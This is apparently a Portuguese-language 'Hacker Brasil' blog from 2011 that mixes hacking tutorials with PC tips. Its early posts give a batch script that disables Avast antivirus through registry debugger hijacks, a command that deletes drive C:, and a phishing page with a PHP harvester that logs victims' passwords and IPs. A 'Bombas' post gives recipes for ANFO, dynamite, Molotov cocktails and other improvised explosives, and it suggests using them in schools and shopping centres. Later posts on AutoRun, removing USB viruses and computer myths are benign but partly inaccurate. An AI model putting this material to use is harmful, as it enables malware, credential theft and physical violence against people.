' . Hacker Brasil .'

Criando Virus !

2011-03-25T13:15:00.000-07:00

Codigos de Virus

Pessoal estarei mostrando para vcs alguns comandos que podem ser utilizados como virus esses comandos são salvos em linguagem .BAT

qua nao exige conhecimento de programção, Voce pode usar o propio Bloco de notas do windows ou qualquer editor de textos que vc tiver

e so colar os codigos e salvar com .BAT ou .CMD no final do nome do arquivo (Ex: Alguma coisa.bat)

1º AVASTKill - HeadPlay

Como o Nome sugere esse BAT Deleta o AVAST um dos mais usados AntiVirus do mercado

@Title AVKill - Kouback_T-H4CK3R

#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashDisp.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswupdsv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashserv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashMaisv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ash***sv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashQuick.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthUpd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVASTSS.scr" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimpl.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashCmd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimp2.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashEnhcd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0

2º Adeus Windows.

Este comando e pra fuder mesmo o

PC entao de maneira aulguma execute ele

@ECHO OFF
@BREAK OFF
deltree/C: Y\.

2º Pegadinha do malandro .

Este um mais uma brincadeira nao e um virus de verdade mais e

divertido, e o famoso Shutdown -s

@title A VACA FOI PRO BREJO By Headplay !kkkkkkk'a

@Echo off

ECHO: PC INFECTED!!!!

shutdown -s -t 5 -c "Pegadinha do Malandro"

Bombas .!

2011-03-24T06:15:00.000-07:00

Disquete Bomba

Você precisa de:
* 1 ou mais discos de 3.5 polegadas;
* Uma caixa de fósforo, azul ou branco SOMENTE!;
* Um estilete bem afiado;
* Um frasco de cimento plástico ou argamassa;
* Um centímetro de magnésio em tiras (opcional);
* Uma grama de termite. Mistura de alumínio pulverizado e óxido de ferro, usada na produção do aço (opcional).
Instruções:
Abra cuidadosamente o diquete. Com o disco aberto você tem que escolher entre arrancar a proteção onde fica a marca do disco (normalmente de metal), ou deixar ela no lugar. Se a proteção for arrancada, a bomba vai ficar visível e você mesmo terá de colocá-la no drive. Se a proteção ficar no lugar, você pode dar o disco para um "amigo". Raspe a cabeça dos fósforos e amasse para que vire um pó. Retire o pano do disquete e cubra um ou ambos os lados do disco com a argamassa. Espalhe o pó dos fósforos em cima e deixe secar. Feche o disco colando os cantos e pronto! Se você quiser um estrago maior, coloque a tira de magnésio em cima do pó dos fósforos. Se você quiser destruir o computador, coloque o termite.Funcionamento:
Quando o disco for acessado o pó dos fósforos irá atritar e acender. O disco vai derreter e se espalhar pelo drive. Se você usou o magnésio, o calor gerado pelos fósforos vai acender a tira. O magnésio vai queimar destruindo o drive permanentemente e, com sorte, outras coisas mais que estiverem por perto. Se você usou o magnésio e o termite juntos, o magnésio irá acender o termite e ele vai começar a agir. O termite vai queimar o disco, o drive, o gabinete, a mesa, o chão e vai pingar em algum lugar perto do Japão. Eu não sou responsável pelos seus atos. Corra seus próprios riscos.

Bomba de Cigarro

Material:
* Um cigarro e uma bomba de São João.
Instruções
Pegue um cigarro. Arranque a bituca (a parte que se põe na boca). Depois, pegue a bomba e encaixe o pavio no cigarro. Ascenda, depois de alguns minutos... BUM..
Funcionamento
O cigarro irá sendo queimado depois de alguns minutos... BUM... Este tipo de bomba é bom para escolas e shoppings. O poder de destruição depende do tamanho da bomba que vc vai usar.

Bomba de bola de tênis

Material:
* Uma bola de tênis, dezenas de cabeças de fósforos (de cabeça azul ou branca SOMENTE) e fita adesiva bem forte.
Instruções
Faça um buraco na bola de tênis. Raspe as cabeças dos fósforos e amasse para que virem pó. Encha a bola de tênis com esse pó, fazendo com que ela fique totalmente maciça. Enrole a bolinha bem forte com a fita adesiva. Atire a bola o mais forte possível no alvo.
FuncionamentoO pó do fósforo irá atritar, acender e explodir. Se a bola estiver totalmente cheia, a explosão poderá derrubar um muro.

CHUD

Material:
* Farinha de trigo e qualquer líquido inflamável.
Instruções
Misture em uma tigela os ingredientes na proporção de 2/3 de farinha de trigo para 1/3 do líquido inflamável, até que vire uma massa consistente. Para o líquido é recomendável uma substância de baixa evaporação como removedor ou gasolina.
Funcionamento
Chud é muito usado para acender substâncias de difícil combustão como magnésio e outras, ou bombas que necessitam de tempo para explodir como a bomba de Carbonato de Cálcio. O CHUD não é uma bomba.

Dinamite Extra

Material:
** Nitroglicerina, Nitrato de Amônia, Colódio e Carvão.**
Instruções
FÓRMULA I - Misture numa vasilha : 71% de Nitroglicerina, 23% de Nitrato de Amônia, 4% de Colódio e 1% de Carvão.
FÓRMULA II - Misture numa vasilha : 62% de Nitrato de Amônia 25% de Nitroglicerina, 12% de Carvão e 1% de Colódio.
Funcionamento
Use uma cápsula explosiva (espoleta um pouco mais forte) qualquer para detonar a bomba.

Bomba de Gelo Seco

Material:
* Uma garrafa de vidro ou plástico Água Gelo Seco.
Instruções
Encha a garrafa com água até quase a boca. Complete com gelo seco, tampe e corra.
FuncionamentoO gelo seco reage com a água e volta a forma gasosa expandindo seu volume. A pressão interna aumenta e a garrafa explode! 0:)

ANFOS

Material:
Querosene ou óleo de motor, Nitrato de Amônia e Uma Bacia.
Instruções
Misture na bacia, 94% de nitrato de amônia com 6% de querosene ou óleo.
FuncionamentoANFOS é um explosivo comercial de alto poder destrutivo, que pode substituir o M-80 ou M-60 das minas e outras bombas. A vantagem do ANFOS é seu baixíssimo custo.

Bomba de Impacto

Material:
Uma bola de gude, pólvora, um saco plástico e Linha ou Barbante.
Instruções
Recorte um pedacinho do plástico que seja suficiente para embrulhar a bola de gude. Coloque um pouco de pólvora em cima do plástico, coloque a bola em cima da pólvora e embrulhe-a com o plástico. Amarre a ponta com barbante, fazendo com que fique bem firme para a pólvora não sair. Para detonar, joque a bomba em alguma superfície dura.
Funcionamento
Quando a bomba bate na superfície dura, a bola de gude espreme a pólvora fazendo com que estoure. A explosão é bem forte mesmo com pouca pólvora, então tome cuidado pois a bola é espatifada e voam pedaços de vidros por todos os lados.

Bomba de Carboneto

Material:
Carboneto de Cálcio, um pote de vidro com tampa e Água.
Instruções
Encha o vidro com água. Coloque o Carboneto de Cálcio no vidro e tampe. Deixe no chão e saia correndo. Corra MESMO !!! Este tipo de bomba é muito PERIGOSA.
FuncionamentoO Carboneto vai reagir com a água e formar um gás inflamável chamado Carbonato de Acetileno. A pressão no pote de vidro irá aumentar e o pote irá estourar. Se você quiser um maior estrago, deixe um pedaço de pano queimando por perto. O vidro estoura, a Acetileno atinge a chama e explode formando uma bola de fogo.

Coquetel Molotov

Material:
Uma garrafa de vidro
Gasolina
Óleo de Motor
Um pedaço de pano
Fita adesiva
Uma Rolha
Instruções
Encha a garrafa com gasolina e o óleo de motor em partes iguais. Coloque o pano na boca (da garrafa, não na sua) e prenda com a rolha. Reforce o pano com a fita adesiva para ficar bem preso, acenda e atire em seu alvo.
Funcionamento
É bem simples : a garrafa bate no chão, quebra e a gasolina se espalha. O pano em chamas encosta na gasolina e acende-a. O óleo serve para ajudar a queimar a gasolina que espirra e para o fogo durar mais tempo, proporcionando um maior estrago.

APERFEIÇOAMENTO : SEM FOGO

Esta variação é um pouco mais complicada e perigosa, mas o poder de destruição é maior.
Material:
Uma garrafa de vidro, um pedaço de pano e um tablete de cloro.
Instruções
Encha a garrafa até a metade com gasolina. Embrulhe o tablete de cloro com o pano e enfie na boca da garrafa. O tablete é um pouco maior que a boca, então você deve forçar um pouco. O tablete NÃO deve cair na gasolina, ele deve ficar preso no gargalo. Não vire muito a garrafa. Para detonar atire a garrafa em alguma coisa sólida.
FuncionamentoQuando a garrafa bate no chão e se quebra, o tablete de cloro entra em contato com a gasolina e explode. Primeiro explode e depois pega fogo. Esse tipo de coquetel é o mais forte de todos, portanto cuidado.

VARIAÇÃO SEM ÓLEO

Esta variação é bem simples. Em vez de colocar metade gasolina e metade óleo, encha a garrafa com gasolina. A explosão é maior e o fogo se espalha mais, só que ele vai durar bem menos do que com o óleo.

VARIAÇÃO COM PICHE

Esta variação também é bem simples. No lugar do óleo coloque o piche, ou alcatrão. O piche vai queimar e demorar ainda mais para apagar.

VARIAÇÃO COM CERA

Outra variação simples. No lugar do óleo coloque cera fundida. A cera ajuda a queimar, prolongando as chamas.

Bomba de Efeitos Especiais

Material:
Um pote não muito alto mas com boca bem larga, uma vela curta, álcool e Óleo de Motor (opcional).
Instruções
Cole a vela no meio do fundo do pote e faça com que fique bem firme. Despeje álcool no pote até que fique de um a dois centímetros do pavio da vela. Acenda a vela com muito cuidado e corra.
FuncionamentoQuando a vela derreter e o pavio chegar no álcool, a bomba explodirá. O álcool é uma substância de combustão rápida. Como o pote é de boca larga, o álcool queima ainda mais rápido, formando somente uma grande bola de fogo como é visto nos filmes. O poder de destruição dessa bomba é muito pequeno, mas assusta. Se você quiser deixar a bomba mais real, adicione óleo de motor ao álcool. O óleo quando queima libera uma fumaça preta e dá a impressão de destruição.

Bomba de Desinfetante

Material:
Uma garrafa de plástico com tampa, desinfetante e aço em folhas.
Instruções
Coloque as folhas de aço na garrafa. Encha com desinfetante e tampe o mais rápido possível. Deixe no chão e corra.
Funcionamento
O desinfetante reage com o metal, liberando gases. A pressão dentro da garrafa aumenta e ela explode.

Bomba de Cloro

Material:
Cloro com Hipocloreto de Sódio, água, açúcar e uma garrafa de dois litros.
Instruções
Misture o cloro, a água e o açúcar em partes iguais. Encha mais ou menos 1/10 da garrafa com a mistura. Deixe no chão e corra.
Funcionamento
As substâncias reagem e soltam gases. A pressão dentro da garrafa aumenta e ela explode.

Dinamite GUHR

Material
Nitroglicerina e Kieselgur (farinha fóssil).
Instruções
Misture cuidadosamente 3 partes de nitroglicerina com 1 parte de Kieselgur. Quando formar uma massa consistente está pronto. Antes de usar, teste a massa jogando pequenas quantidades no chão.
Funcionamento
Esta massa é apropriada para destruir instalações previamente visitadas. Você leva o explosivo, deixa perto de uma porta ou um pilar de sustentação, se afasta e atira. O explosivo pode estar congelado ou não, tanto faz, mas congelado o manuseio é mais fácil. Você pode usar também, atirando-a para o alto, pois o choque contra o chão é suficiente para detoná-la.

Bomba de Fumaça

Material
Açúcar, Nitrato de Potássio e um pote com a boca larga.
Instruções
Junte 4 partes de açúcar com 6 partes de Nitrato de Potássio numa panela. Esquente em fogo baixo e mexa bem até derreter tudo. Coloque a mistura no pote e, antes de solidificar, jogue alguns fósforos acesos para funcionar como pavio.
Funcionamento
O fósforo queima e acende a mistura. Acontecem reações químicas e a fumaça é liberada

20 Coisas que vc deve saber em um Computador .

2011-03-23T06:45:00.001-07:00

1. Faz mal ao computador ter ímãs colados no gabinete.

Verdadeiro.”Imãs no gabinete podem afetar o HD, onde os dados são gravados magneticamente.
Na verdade esse é o maior problema dos imãs”.Gladiador.

2. Empurrar o cd com o dedo para inseri-lo no gabinete é prejudicial ao equipamento.

Falso. Nada a ver. Nada irá acontecer se você empurrar com uma força
normal. Foi feito exatamente para isso. Mas se empurrar com força excessiva, vai fazer as partes mecânicas girarem muito mais rápido do que o normal, e poderá danificar o drive.

3. Água ou café derramada sobre o teclado pode arruinar seu funcionamento.

Verdadeiro. Estragam as trilhas metalizadas que estão embaixo das
teclas. Podem criar um curto-circuito e queimar.

4. É necessário ter espaço entre o monitor e a parede atrás dele.

Falso. Monitor não é geladeira. O ambiente em geral deve estar
ventilado, mas não é indispensável que seja muita a distância. É muito pior
ter outro monitor atrás (como acontece em muitos escritórios) porque pode
haver o risco de ter interferências entre os computadores.

5. Quando o computador passou a noite toda ligado, é melhor desliga-lo e voltar a reiniciar.

Falso. Pode seguir ligado sem problema algum. Ainda que pareça o
contrário e dê vontade de desliga-lo um momento para que descanse, seguindo
a lógica humana, o HD dura muito mais se permanecer ligado e não sendo o
tempo todo ligado e desligado. Por uma questão de economia de energia, não
convém deixar ligado por vários dias, mas se não levarmos em conta o fator
do aquecimento global seria muito melhor para o PC nunca desliga-lo. Eles
foram criados para isso.

6. Gasta mais energia ao ser ligado do que em várias horas de uso.

Falso. Ao ligar não consome tanto como para superar as horas de
funcionamento. Ao desligar poupa-se energia e se permanecer ligado gasta,
como qualquer outro eletrodoméstico.

7. Faz mal ao computador ter algum celular por perto.

Falso. Sem problema algum, no máximo um ronco provocado pela
interferência de uma chamada.

8. Depois de desligar o computador é melhor deixa-lo descansar uns segundos antes de voltar a ligar.

Verdadeiro. É recomendável esperar no mínimo alguns segundos antes de
voltar a liga-lo. 10 segundos deve ser o suficiente.

9. Mover o gabinete quando o computador está ligado pode queimar o HD.

Falso. A força centrífuga com que gira o HD é tanta que não acontece
nada ao se mover o gabinete. Muito menos ainda em se tratando de um notebook,
porque eles foram feitos para isso. Mas é lógico que você não vai sair por
aí dando porrada no equipamento, né?

10. Pelo bem do monitor, é conveniente usar protetor de tela quando não está em uso.

Verdadeiro. Porque o mecanismo do protetor de tela faz com que o
desgaste das cores da tela seja uniforme. Ao renovar as imagens
constantemente, não se gasta num mesmo lugar.

11. Quando há chuva forte, é absolutamente necessário tirar o plugue do computador da tomada.

Verdadeiro. Deveria ser adotado como uma obrigação no caso de uma chuva
muito forte, com muitos raios e trovões. Da mesma forma, é aconselhável
retirar os cabos do telefone e da alimentação do modem para que não queimem
com a descarga de raios.

12. Não é conveniente olhar a luz vermelha que está embaixo do mouse óptico.

Verdadeiro. Pode até não deixar ninguém cego, mas é uma luz bastante
forte que pode sim fazer mal a retina.

13. Nos notebooks deve-se acoplar primeiro o cabo de eletricidade à máquina e somente depois esse cabo a tomada.

Falso. Tanto faz. Quase todos os equipamentos portáteis atuais tem
proteção de curto-circuito e são multi-voltagem, podem ser ligados em
tensões de 90 a 240 volts, pelo que são sumamente estáveis.

14. Ao desligar o computador convém também desligar o monitor.

Falso. Outra vez, tanto faz. Ao desligar o computador, o monitor fica num
estado em que consome muito pouca energia (pouca coisa mais que 1W) e não
sofre desgaste algum. A decisão termina sendo em função da economia, ainda
que o consumo seja realmente mínimo.

15. Não se deve colocar cds, disquetes ou qualquer outro elemento sobre o gabinete.

Falso. Lógico, nada do que é colocado sobre o gabinete pode ser afetado ou
avariado, a não ser que esteja úmida e a água possa chegar ao equipamento.

16. O computador nunca pode ficar ao sol.

Verdadeiro. Se ele esquentar mais do que o habitual, sua vida útil tende
a decrescer. Por isso nunca é boa idéia instalar o PC próximo a janelas onde
bate o sol.

17. Se mais de 80% do HD tiver sendo usado, a máquina se torna mais lenta.

Verdadeiro. Sempre é uma questão de porcentagem. Por mais que se tenha
20 Gb livres, se for menos de 20% da capacidade do disco, o funcionamento do
computador será lento.

18. Não se deve tirar o pen drive sem avisar à máquina.

Verdadeiro. Deve ser selecionada a opção ‘Retirar hardware com
segurança’ antes de retira-lo. Caso contrário, corre-se o risco de queimar a
memória do USB.

19. Ter o desktop cheio de ícones deixa o computador mais lento.

Verdadeiro. Não importa se são ícones de programas ou arquivos. O que
acontece é que a placa de vídeo do computador renova constantemente a
informação apresentada na tela, e quanto mais ícones, mais tempo.

20. Desligar a máquina diretamente no botão, sem selecionar previamente a opção de desligar o equipamento, estraga o HD.

Verdadeiro. O HD pode queimar ao ser desligado enquanto ele ainda está
lendo ou escrevendo em alguma parte do sistema. Ademais, quando a energia é
desligada subitamente, as placas que cobrem o disco (que gira até 10 mil
rotações) descem sobre ele e podem ir riscando até que alcancem a posição de
descanso. Ao selecionar a opção ‘Desligar o Computador’, todo o sistema se
prepara para repousar e suspende todas as atividades. Cada peça vai ficar em
seu devido lugar.

Desativando o AUTORUM .

2011-03-23T06:42:00.001-07:00

O que é o AutoRun?
Traduzindo fica mais ou menos como "Rodar automaticamente", e é isso que ele faz, quando você conecta um PenDrive, uma câmera ou coloca um DC/DVD no drive, normalmente aparece esta caixinha na tela:

Ela lhe dá a opção de escolher como abrir o dispositivo/arquivo, ou às vezes nem lhe oferece opção e já sai abrindo o arquivo. Isso ocorre muito em CD-ROMs de jogos.

Mas alám de as vezes ficar meio lento o AutoRun pode representar um perigo. Imagine que alguém lhe deu um CD ou PenDrive com um vírus e adicionou este vírus no AutoRun dele, logo, o PC irá executar o vírus.

Muitas destas pragas hoje em dia se alojam nesses dispositivos para se proliferar nos computadores.

Como desativar o AutoRun:

No Windows Vista: clique no Botão: Iniciar > Painel de Controle > Hardwares e Sons. Em seguida, clique na opção “Reproduzir CDs ou outra mídia automaticamente” e desabilite a opção “Usar Reprodução Automática em todas as mídias e dispositivos”.

No Windows XP: clique em: Iniciar > Executar > digite gpedit.msc. Na janela que abrir, vá em “Configurações do computador” > “Modelos administrativos” > “Sistema”>“Desativar auto-executar”, dê um duplo clique e escolha ativado e dê ok

Trancando Pasta com Senha .

2011-03-23T06:40:00.001-07:00

Aprenda a trancar pastas, crie um arquivo .txt e cole isso nele:

view source
print ?
01.</em>
02.cls
03.@ECHO OFF
04.title Folder Private
05.if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
06.if NOT EXIST Private goto MDLOCKER
07.:CONFIRM
08.echo Are you sure you want to lock the folder(Y/N)
09.set/p "cho=>"
10.if %cho%==Y goto LOCK
11.if %cho%==y goto LOCK
12.if %cho%==n goto END
13.if %cho%==N goto END
14.echo Invalid choice.
15.goto CONFIRM
16.:LOCK
17.ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
18.attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
19.echo Folder locked
20.goto End
21.:UNLOCK
22.echo Enter password to unlock folder
23.set/p "pass=>"
24.if NOT %pass%== <strong>senha aqui</strong> goto FAIL
25.attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
26.ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
27.echo Folder Unlocked successfully
28.goto End
29.:FAIL
30.echo Invalid password
31.goto end
32.:MDLOCKER
33.md Private
34.echo Private created successfully
35.goto End
36.:End

lá na 23ª linha está em negrito 'senha aqui'
troque esse 'senha aqui' por uma senha q vc queira
ficando a linha assim:

1.if NOT %pass%== senha goto FAIL

ta, agora vai la em Salvar Como e salva com locker.bat
ok.. voltando pra pasta onde foi salvo o arquivo bat
abra o arquivo 'locker.bat' e irá aparecer uma pasta chamada 'Private'
essa será a pasta q ficará escondida e só será aberta com a senha q vc escolheu.
dpois d ter criado a pasta 'Private', clique novamente sobre o arquivo
'locker.bat' e irá aparecer a janelinha do Dos .. a seguinte pergunta será feita:
Are you sure you want to lock the folder(Y/N)
digite Y e dê enter.
repare agora q a pasta 'Private' desapareceu...
ela está agora oculta e só será aberta qndo clicar novamente no arquivo
'locker.bat', pois aí será solicitada a senha, com a seguinte frase:
Enter password to unlock folder
aí vc digita a senha e pronto aparece a pasta.
Para evitar que os outros descubram a sua senha atraves do Bat converta-o usando um programa chamado Bat to Exe Converter

Faca Uma Pgina Fake de Qualquer Site .

2011-03-23T06:36:00.001-07:00

A pagina fake como todos sabem é um clone da pagina original, mas só que invés de logar no site, ele envia as informações pra outro arquivo que no caso seria em php e o cara rouba ou sei la o que faz com a conta, mais enfim, vou mostrar como seria:

<html>
<form action="salva.php" method="POST">
Login:<input type="text" name="Email"><bR>
Senha:<input type="password" name="Passwd"><br>
</form>
</html>

Vou explicando por linhas

1. Incia-se o html

2. Abre o form, action serve para enviar as informações para a pagina indicada e method que no caso seria o metodo usado, ali eu uso o metodo POST.

3. Login, ai vem o input que é a caixa de texto e "type" que seria "tipo" é o tipo de coisa que vai aparece na caixa, ali no caso vai aparecer o texto normalmente e o id serve para nomear a informação levada ao "Salva.php".

4. Senha, e a caixa para escrever a senha, ali o "tipo" é password ou seja vai aparecer akelas bolinhas ao envez de texto e ai ali o id é o "Passwd".

5. Fecha o form ou seja, qualquer input abaixo naum vai ser mais enviado para o salva.php, só se vc criar outro form.

6. Fecha o html.

7. Agora crie um arquivo PHP com este codigo:

<?php
$nomearquivo ="senhas.txt";
$email =$_POST["Email"];
$senha =$_POST["Passwd"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="<br>__________________________________________________________________<br>";
$ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser."<br>IP: ".$ip."<br>Nome do Host: ".$hostname."<br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco;
$abre = @fopen("senhas.txt","a+");
$escreve = fwrite($abre, $ess);
echo "<script>javascript:document.location='www.google.com.br'</script>";
?>

Esse é o Salva.php.
Vou explicar que neen ontem, por linhas
1. Se inicia o php
2. Variavel do nome do arquivo de texto
3. Variavel Setando valor recebido pelo form que seria da caixa que tinha o name="Email"
4. Mesmo caso acima, só que agora é recebido pela caixa com o name="Passwd"
5. Variavel setando o nome do browser que o cara está usando
6. mesmo caso acima, só que pegando o ip
7. Esse puxa o nome do host
8. Setando data na variavel
9. Setando Horario na variavel
10. Setando um monte de underline :D
11. Setando na variavel tudo que vai ser escrito no bloco de notas
12. Setando o comando fopen dentro da variavel
13. Executa o Comando fwrite, ali ele escolhe onde vai escrever e como($abre), e depois oq vai escrever($ess)
14. Executa um javascript, para enviar você para outra pagina, que no caso iriam usar para encaminhar para a pagina original, fazendo com que a vitima pensasse que colocou a senha errada.

Aumentantando Músicas .!

2011-03-23T06:33:00.000-07:00

Primeiro : Baixe o programa mpTrim.

Segundo : Abra o programa , e clique em open e escolha a música que queira aumentar

Terceiroo : Vá em volume control vai estar em '0DB' ponha em +6 ( quanto maior, maior sera o volume)

Quarto : Vá em SAVE AS e pronto.

OBS: Cuidado Faça o teste em 1 musica para ver a qualidade. !

Removendo Virus de Pen Driver

2011-03-23T05:59:00.001-07:00

Antigamente, cerca de 2 a 3 anos atrás, era muito comum ver as pessoas usando disquetes para carregar seus dados pessoais por ai, afinal era muito mais prático e rápido armazenar um dado em um disquete do que gravar um CD.

Para quem não se lembra desse artefato, quem sabe uma foto ajude

Hoje em dia é muito raro ver pessoas usando disquetes, mas por que?
Com os preços das memórias flash cada vez menores, o preço dos pendrives vem caindo absurdamente.
A 2 anos atrás um pendrive de 1GB de uma boa marca ultrapassava os R$100,00. Hoje com R$40,00 você compra um com 4GB.

Mas como tudo que é bom, também tem seu lado ruim e com os pendrives não são diferentes, sempre tem as mentes do mal que pensam em como podem utilizar isso para prejudicar os computadores.
Quem utiliza o pendrive em vários ambientes, de trabalho, faculdade, escola, casa de amigos, lan houses… Volta e meia acaba se deparando com algum vírus nele.

Quem tem um antivirus razoavelmente decente pode ficar mais tranquilo ao saber que colocando o pendrive no seu computador o antivírus vai subir a janelinha acusando vírus e limpar seu pendrive.
O problema está em antivirus não tão bons que não detectam esses vírus, ou quando deletam não excluem junto um arquivo que faz rodar o vírus, e por consequência você não consegue acessar seu pendrive.
Ou uma situação pior ainda onde o computador não tem antivirus instalados.

Esses vírus normalmente impendem o acesso ao pendrive ou em casos mais graves chegam até mesmo a danificar seriamente o computador.

Já vi casos de pessoas que formataram os pendrives em busca da solução. Mas PARE!

Não é preciso formatar seu pendrive, na verdade é muito fácil resolver o problema. Bom pelo menos era fácil de remover esses vírus e não era necessário nem mesmo de antivirus. Mas como tudo na informática evolui muito rápido, os vírus não são excessão.

Agora estão circulando nos pendrives vírus mais complexos que impedem de exibir os arquivos ocultos, dificultando muito o trabalho de remover o vírus.
Mas ainda não é impossível remover essas pragas.

Vamos a luta…

1º Passo – Como funcionam esses vírus?

Quando inserimos um CD ou DVD no computador ele normalmente executa algum software, ou abre algo. Isso tudo automaticamente.
Como isso acontece? Existe um arquivo chamado autorun.inf que fica na raiz do CD ou DVD que tem as instruções de abrir algum programa ou colocar o ícone no CD/DVD.

Esses vírus fazem uso desse arquivo mas ao invés de abrir algo inofencivo executam vírus que ficam instalados no computador e infectam outros pendrives, ou como disse em casos mais extremos danificam o computador.

2º Passo – Usar um bom antivírus

Existem muitos softwares hoje em dia, mas quais são eficientes é outra história.
Não há um antivírus perfeito, mas há os menos ruins.
Dentre eles, os nomes que ouço muito bem são.

-Os pagos
Kaspersky
NOD32
Panda

-Os gratuitos
Avira

Atualmente eu utilizo o Avira. É gratuito, leve, bom e não tenho muito do que reclamar.
Até hoje não deixou passar nenhum vírus de pendrive e outros para o meu PC.
Portanto recomendo ele, o link para download é

http://www.baixaki.com.br/download/avira-antivir-personal-edition-classic.htm

3º Passo – Depois do antivírus entrar em ação, restaurar o pendrive e o computador

Se você utiliza um desses antivírus acima, então ao colocar seu pendrive infectado no computador ele irá acusar um vírus e automaticamente limpará o pendrive.

Porém isso não garante que seu computador está mesmo livre do vírus.
Quando escrevi as primeiras versões desse guia eu indiquei vários programas para tirar esses vírus.
Hoje vou recomendar apenas um que irá fazer a faxina geral no computador.

4º Passo – Combofix

Primeiro faça o download do Combofix aqui

http://www.baixaki.com.br/download/combofix.htm

Depois de fazer o download execute ele, como as instruções são em português não tem segredo, só lembre de não fazer nada enquanto ele é executado.

Bom depois de executar o Combofix, tanto seu pendrive como o computador devem estar limpos.

Mas ATENÇÃO, qualquer problema que fuja disso, ou com esses passos não seja possível remover, bom ai é um caso bem grave mesmo, e recomendo buscar informação específica.
Um bom lugar é o fórum Linha Defensiva

Sinceramente espero ter ajudado vocês a remover esses vírus e salvar o que vocês tem no pendrive.

Como remover virus de MSN e Orkut com o BankerFix.

2011-03-23T05:47:00.000-07:00

Banker é um tipo de cavalo de tróia que é especifico para roubar senhas e busca sempre senhas de banco, paypal, orkut e MSN.

O site brasileiro responsável pela limpeza dos Bankers é o site Linha Defensiva:

http://www.linhadefensiva.org/bankerfix/

Isso acontece pelo próprio Brasil, pois os vírus são comprados por brasileiros que querem roubar aqui no Brasil mesmo.

Eu vou colocar abaixo a minha versão de como remover esses vírus, mas fica ao seu critério seguir por aqui ou pelo site Linha Defensiva.

Passo 1 - O BankerFix

O BankerFix é o programa específico para remover Banker.

Baixe aqui: http://www.linhadefensiva.org/dl/bankerfix

Dê preferência para salvar no seu DESKTOP.

Passo 2 - Restauração de Sistema

Outro detalhe importante é sobre a Restauração do Sistema que deve estar desativada para garantir que após a reinicialização o vírus não retorne.

Meu Computador

Botão Direito

Propriedades e Restauração de Sistema

E Marque: Desativar restauração do sistema em todas as unidades.

Após o processo você poderá reabilitar, mas eu não recomendo.

Passo 3 - Executando o BankerFix

Duplo clique

Sim

Nesse momento várias janelas em DOS minimizadas irão aparecer e sumir e isso é normal.

Nesse momento desative o seu antivírus e o seu Internet Explorer será fechado, ou seja, para continuar o tutorial baixe a versão PDF no final desse post para poder acompanhar.

Passo 4 - Encontrou Problemas

Se o BankerFix mostrou que tem vírus e removeu isso é muito bom e se ele pedir para reiniciar faça imediatamente.

Se algum arquivo não pode ser removido o conselho é entrar em modo de segurança (aperte F8 ao iniciar seu Windows) e passe o BankerFix novamente.

Passo 5 - Relatório

O BankerFix gera um relatório no final do rastreamento e ele fica armazenado na pasta:

C:\LinhaDefensiva ou no drive que você salvou

O nome do arquivo é:

relatorio.txt

Após o BankerFix eu também aconselho o ComboFix:

http://professorwellingtontelles.blogspot.com/2009/07/combofix-tutorial.html

Removendo qualquer tipo de vírus na "raça"

2011-03-23T05:35:00.001-07:00

Tutorial Antigo, mas muito informativo

